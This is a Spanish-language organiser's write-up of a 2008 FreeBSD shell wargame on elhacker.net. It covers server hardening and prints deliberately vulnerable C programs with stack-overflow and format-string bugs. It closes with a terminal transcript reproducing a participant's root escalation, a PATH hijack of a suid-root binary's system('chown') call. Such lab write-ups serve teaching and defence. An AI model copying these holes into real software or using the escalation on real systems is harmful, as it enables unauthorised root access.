

## HOWTO - TORNEO SHELL WARZONE

Como se realizo el Torneo Shell

Bueno anteriormente ya había hecho yo una implementación de un wargame parecido con un solo nivel, eso fue en Diciembre del 2007, ya con un poco de experiencia adicional, le comente a sirdarckcat la idea de realizarlo nuevamente, pero mas extendido (Niveles/Dificultad) esto fue a principios de Noviembre del 2008, gustándole mucho la idea me pidió que si lo realizaba para los usuarios de warzone.elhacker.net y pues no me pareció mala idea ya que hay usuarios que tienen bastante nivel de conocimientos y además les gusta el tema de seguridad informática.

Después de bosquejar a grandes rasgos los detalles del wargame me puse a trabajar sobre el el sistema operativo en ello, quería que todo estuviese listo para la fecha propuesta 29 de Noviembre 0 horas GMT.

Elegí FreeBSD 7.0-RELEASE como sistema operativo, debido a que es muy estable y rápido de configurar y mas que nada que no son tan frecuentes las fallas de seguridad sobre el mismo.

Para mantener el sistema operativo al día, realice solo la instalación del sistema base, el directorio de ports, y el código fuente de todo el sistema.

Recompile el Kernel de FreeBSD ajustándolo a las características del Hardware, agregue las opciones para activar el firewall "PF".

Recompile todo el árbol de aplicaciones, cosa que aproveche para aplicar parches de las contadas vulnerabilidades que se habían publicado para FreeBSD 7.0-RELEASE.

Realice una copia estáticamente compilada de las aplicaciones criticas del sistema tal como ps,ls,md5, entre otras, además de una lista del md5sum de los ejecutables estándar del sistema.

Instale en el siguiente orden las siguientes aplicaciones y sus respectivas dependencias:

- portaudit
- wget
- pache2
- php
- gcc3

Después de configurar los servicios que incluiría en el sistema (sshd,httpd) y configurar PF instale el php-find-sock, bajo el archivo shell.php del directorio / del apache, la cual seria la única forma de acceder al shell del sistema en un principio, shell.php fue proporcionando por sirdarckcat, es un fake del clásico 403 forbidden y al final mandaba a ejecutar las instrucciones del findsock, el archivo cual modificaba las cabeceras http de respuesta del servidor en tiempo real, esto para confundir un poco y en principio a los participantes.

Se creo sobre /usr/home el árbol del wargame, con los permisos de archivos hasta cierto punto bien distribuidos, para que fuese mas divertido todo se les agrego a los usuarios un bonito prompt "C:\Users\%LOGNAME\Desktop> "

Después de configurar /etc/login.conf con una nueva clase de login (Esto es como los grupos pero solo se usa para la asignación de recursos bajo el sistema), para mantener hasta cierto punto las cosas en su lugar:

```
warusers:\
:copyright=/etc/COPYRIGHT:\
:welcome=/etc/motd:\
:setenv=MAIL=/var/mail/$,BLOCKSIZE=K:\
:path=~/bin /bin /usr/bin /usr/local/bin:\
:manpath=/usr/share/man /usr/local/man:\
:nologin=/var/run/nologin:\
:cputime=10m:\
:datsize=8M:\
:vmemoryuse=50M:\
:stacksize=2M:\
:memorylocked=4M:\
:memoryuse=8M:\
:filesize=8M:\
:coredumpsize=1M:\
:openfiles=24:\
:maxproc=32:\
:priority=0:\
:umask=077:\
:ignoretime@:
```

De no haber sido por esto cualquiera hubiese reiniciado/saturado el server.

En general estas fueron las prevenciones básicas que se tuvieron en cuenta.



## Taller warzone - Papers

Ahora la estructura del wargame es siguiente en general para los 4 niveles.

Ruta del Directorio: `/usr/home/<directorio>`

Ruta de la aplicacion vulnerable : `/usr/home/<directorio>/<vulnerable>`

Ruta del Directorio con el password: `/usr/home/<directorio>/<directoriopassword>`

```
chown user:grupo /usr/home/<directorio>
chmod 750 /usr/home/<directorio>
chown user:otroGrupo /usr/home/<directorio>/<vulnerable>
chmod 2755 /usr/home/<directorio>/<vulnerable>
chown user:otroGrupo /usr/home/<directorio>/<directoriopassword>
chmod 750 /usr/home/<directorio>/<directoriopassword>
```

Entonces la como se ve la unica forma de acceder al directorio es perteneciendo al grupo propietario del directorio, esto me sirvio para tener un control/orden en la forma de pasar los niveles.

Y para controlar quien pasaba las aplicaciones solo era cuestion que leer sobre el directorio `/usr/home/<directorio>/<directoriopassword>` un archivo del cual solo nosotros eramos capaces de leer ya que tenia los permisos 600. Cosa que para leerlo habia que obtener los permisos del grupo otroGrupo, por eso fue que a los ejecutables les asigne permisos 2755 (Con el bit sgid activado). Lo cual solo se conseguia explotando el archivo vulnerable.

Pruebas.

De las 4 pruebas que se hicieron las primeras 3 son muy simples y sin mucha complejidad, la cuarta prueba fue la mas compleja de todas ya que su depuracion era un poco mas complicada y el metodo de explotacion de esta misma no es muy estudiado, aunque la documentacion existene de la falla sea apliamente documentado.

1. Clasico Stack over Flow
2. Un ejemplo basico de los Heap over Flow y adicionalmente Symlink
3. Otra version del Stack over Flow
4. Ejemplo de Format String

## Clasico Stack over Flow

Entrada de datos: Argumentos de programa, Variables de Entorno.

Codigo fuente:

```
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    printf("Mas facil no se puede xD\n");
    if(argc < 2) {
        printf("Se esperaban Parametros!!\nUso: \n\t%s <algo>\n", argv[0]);
        exit(0);
    }
    else {
        char cadena[1024];
        strcpy(cadena, argv[1]);
        printf("Usted paso como parametro lo siguiente: \n\n%s\n", cadena);
    }
    return 0;
}
```

Como se puede ver solo es cuestión de desbordar el buffer de datos "cadena", no ta que este ejemplo se compilo con gcc3.x



## Taller warzone – Papers

```
fprintf(stderr, "fopen(): %s: %s\n", endfile, strerror(errno));
exit(ERROR);
}
while(!feof(tendout)) {
    fscanf(tendout, "%c", &a);
    printf("%c", a);
}
fclose(tendout);
}
```

Bueno a grandes rasgos este parece a simple vista parece otro Stack overflow de datos, sin embargo como las variables importantes son static estas se declaran en la zona de datos inicializados que en parte esta en heap aunque no sean propiamente variables creadas dinamicamente con malloc/calloc debido a esto es imposible que para este ejemplo dichos desbordamientos puedan escribir en la dirección de retorno de alguna funcion llamada (Existen sus excepciones pero son ejemplos mas complejos etc.)

## Otra version del Stack over Flow

Entrada de datos: Argumentos de programa, Variables de Entorno.

Codigo fuente:

```
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    printf("dejavu?\n");
    if(argc < 2) {
        printf("Se esperaban Parametros!!\nUso:\n\t%s <algo>\n", argv[0]);
        exit(0);
    }
    else {
        char cadena[1024];
        strcpy(cadena, argv[1]);
        printf("Usted paso como parametro lo siguiente:\n\n%s\n", cadena);
    }
    return 0;
}
```

Como se puede ver solo es cuestión de desbordar el buffer de datos "cadena", de hecho he usado el mismo codigo del primero solo cambiándole el mensaje mostrado la única diferencia es que fue compilado con gcc4.x esto para que implemente Stack cookies.



## Taller warzone - Papers

```
}
printf("OK\n");
printf("Opening read/write Mode... ");
if ((client = fdopen(c, "w+") == NULL) {
    fprintf(stderr, "fdopen(): %s\n", strerror(errno));
    exit(ERROR);
}
printf("OK\n");
fprintf(client, "send password:\n");
fgets(pedi, 10, client);
len = strlen(pedi);
len--;
pedi[len] = 0;
if(strncmp(pass, pedi, len) != 0) {
    fprintf(client, "Error, Password Incorrecto\n");
    fclose(client);
    i=1;
}
}while(i);
fprintf(client, "Send Data!!!:\n");
fgets(blah, 1023, client);
lenB = strlen(blah);
lenB--;
blah[lenB] = 0;
i = 0;
while(i < lenB) {
    j = 0;
    while(j < len && i < lenB) {
        blah[i] = blah[i] ^ pass[j];
        i++;
        j++;
    }
}
sprintf(buff, blah);
fprintf(client, "%s\n", buff);
printf("close!!\n");
fclose(client);
}
```

Como se puede ver es demaciado codigo solo para encontrar el fallo en:

```
sprintf(buff, blah);
```

Como ven es solo uno mas de tantos ejemplos de Format Strings, se agrego el filtro del buffer mediante xors del buffer mediante el password, el password tiene doble objetivo, proteger en socket contra otros usuarios y servir de cadena para realizar un xor al buffer de datos mandados.

## Cambio a ssh

Bueno después de la primera semana del wargame muy pocos usuarios habían podido ingresar al sistema ya que el dar con la shell, no resultaba muy obvio para algunos.

Se cambio a ssh el cual siempre habia estado activo, pero restringido a una lista de Direcciones IP.

Ahora despues de desisntalar el Apache y el Php, se procedio a activar inetd y dejar en el archivo de configuracion las siguiente linea:

```
http stream tcp nowait nobody /usr/bin/nc nc -w 20 127.0.0.1 22
```

Con la cual conseguimos hacer un pipe entre el puerto 80 externo y el ssh interno ya que como la conexión al ssh provenia de localhost estaba el acceso libre.

Esta medida tambien nos permitio agregar facilemnte el timeout de la coneccion, que en algunos casos desesperaba a los usuarios.

## Rooteo

Cada vez que revisaba los logs de los registros y lista de archivos, además de los mails que manda el propio kernel avisando de los cambios más importantes ocurridos en el sistema, lo primero que hacía era revisar `/etc/motd`.

El último día del torneo, después de levantarme, realice:

```
# cat /etc/motd
R00ted by TopoLB
```

y pues ya se imaginaron "WTH?!?!?!?! El motd fue modificado a las 6:48 AM UTC -6"

Bueno, lo primero que realice dentro del mismo sistema fue una inspección rápida de los archivos más importantes `/boot`, `/etc`, solo levemente, y también verificar la integridad de los passwords decidí reiniciar bajo un CD-Live de FreeBSD, he insertar una copia estática de los binarios críticos del sistema a la partición del sistema FreeBSD (Doble seguridad, talvez), realice una comparación del md5sum de los archivos, y al ver que todo marchaba bien solo reedite el archivo `/etc/motd` con lo siguiente:

```
R00ted by TopoLB
Felcidades :)
Anon.
```

Esto es muestra de verdaderas felicitaciones y también agradeciendo no haber rookiteado ni haber borrado archivos.

Después de analizar los logs del sistema y el historico del usuario, pude darme cuenta que no había atacado alguna vulnerabilidad de FreeBSD o algún otro binario del mismo. Sin embargo yo seguía sin saber como logro hacerlo. Después de unos minutos, recibo un mensaje de el mediante el write del sistema, ya conversando un momento, y batallando con el write decidimos entrar a un canal en IRC, (tuve que instalar xchat).

Me dice que el error lo descubrio por casualidad, sin embargo todavía no teniamos claro como se llego a eso, me platico levemente lo que realizo sin embargo se tuvo que retirar.

Ya con la idea de los pasos que siguio, y volviendo a revisar su directorio, descubri que fue un descuido mio al momento de escribir las aplaciones de gestion, de permisos y archivos de el wargame.

Por descuido/facilidad etc, use llamadas simples a `system()`, con el fin de cambiar permisos a los archivos creados, esto usando `chmod` y `chown`. Lamentablemente se me olvido que las variables de entorno viajan de un ejecutable a otro. El archivo vulnerable tenia el `suid` activo como `root`, este binario internamente terminada su ejecucion en cualquier caso donde faltara un parametro y/o no fuese ejecutado con los permisos de **otroGrupo** y si todo pasaba bien realizaba las operacion pertinentes con los archivos que se creaban etc.



## Taller warzone – Papers

Aquí pongo mi los pasos que seguí yo para recrear el ruteo del servidor

```
C:/Users/LisaCuddy/Desktop>id
uid=7001(LisaCuddy) gid=6001(warusers) groups=6001(warusers),5000(warzone),5001(
warzone1),5002(warzone2),5003(warzone3),5004(warzone4)
C:/Users/LisaCuddy/Desktop>whereis chown
chown: /usr/sbin/chown /usr/share/man/man8/chown.8.gz /usr/src/usr.sbin/chown
C:/Users/LisaCuddy/Desktop>chown
usage: chown [-fhv] [-R [-H | -L | -P]] owner[:group] file ...
        chown [-fhv] [-R [-H | -L | -P]] :group file ...
C:/Users/LisaCuddy/Desktop>gcc -o testsh testsh.c
C:/Users/LisaCuddy/Desktop>./testsh
25 bytes
$ whereis chown
chown: /usr/sbin/chown /usr/share/man/man8/chown.8.gz /usr/src/usr.sbin/chown
$ chown
chown: not found
$ echo $PATH
/usr/bin:/bin
$ /usr/home/BoF/BoF
chown: not found
chown: not found
Mas facil no se puede xD
Usted paso como parametro lo siguiente:

xD
$exit
C:/Users/LisaCuddy/Desktop>setenv PATH /usr/bin:/bin:/
C:/Users/LisaCuddy/Desktop>/usr/home/BoF/BoF xD
Bingo
uid=7001(LisaCuddy) gid=6001(warusers) euid=0(root) egid=6000(basico)
groups=6000(basico),6001(warusers),5000(warzone),5001(warzone1),5002(warzone2),5003(warzone3),5004(warzone4)
Bingo
uid=7001(LisaCuddy) gid=6001(warusers) euid=0(root) egid=6000(basico)
groups=6000(basico),6001(warusers),5000(warzone),5001(warzone1),5002(warzone2),5003(warzone3),5004(warzone4)
Mas facil no se puede xD
Usted paso como parametro lo siguiente:

xD
C:/Users/LisaCuddy/Desktop>printf "/bin/sh\n" > chown
C:/Users/LisaCuddy/Desktop>/usr/home/BoF/BoF xD
# id
uid=7001(LisaCuddy) gid=6001(warusers) euid=0(root) egid=6000(basico)
groups=6000(basico),6001(warusers),5000(warzone),5001(warzone1),5002(warzone2),5003(warzone3),5004(warzone4)
# echo enjoy!!
enjoy!!
```

Al parecer esta demaciado facil convertirse en root y pasar todas las pruebas :(, como lo mencione esto fue un grave error de programacion por parte mia.

© Copyleft 2009 everybody

Anon@elhacker.net

PGP Key ID:592F2029

Key fingerprint = 178D 0C89 E3B5 2965 6530 20CB 77DE B789 592F 2029